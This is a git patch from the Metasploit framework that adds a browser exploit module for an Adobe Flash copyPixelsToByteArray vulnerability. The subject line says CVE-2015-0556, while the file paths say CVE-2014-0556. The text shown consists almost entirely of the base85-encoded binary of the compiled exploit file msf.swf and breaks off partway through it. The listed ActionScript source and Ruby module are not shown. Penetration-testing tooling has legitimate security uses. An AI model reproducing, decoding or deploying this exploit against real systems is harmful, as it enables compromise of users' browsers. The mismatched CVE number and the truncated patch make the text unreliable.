From 28fac60c81491b5de51a57a3e287a24896833004 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan_vazquez@rapid7.com>
Date: Wed, 15 Apr 2015 14:08:16 -0500
Subject: [PATCH] Add module for CVE-2015-0556

---
 data/exploits/CVE-2014-0556/msf.swf           | Bin 0 -> 17750 bytes
 .../source/exploits/CVE-2014-0556/Main.as     | 182 ++++++++++++++++++
 .../adobe_flash_copy_pixels_to_byte_array.rb  | 110 +++++++++++
 3 files changed, 292 insertions(+)
 create mode 100755 data/exploits/CVE-2014-0556/msf.swf
 create mode 100755 external/source/exploits/CVE-2014-0556/Main.as
 create mode 100644 modules/exploits/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb

diff --git a/data/exploits/CVE-2014-0556/msf.swf b/data/exploits/CVE-2014-0556/msf.swf
new file mode 100755
index 0000000000000000000000000000000000000000..24cfc1a53a7059bf76a4ac9d555d0657792e63a7
GIT binary patch
literal 17750
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
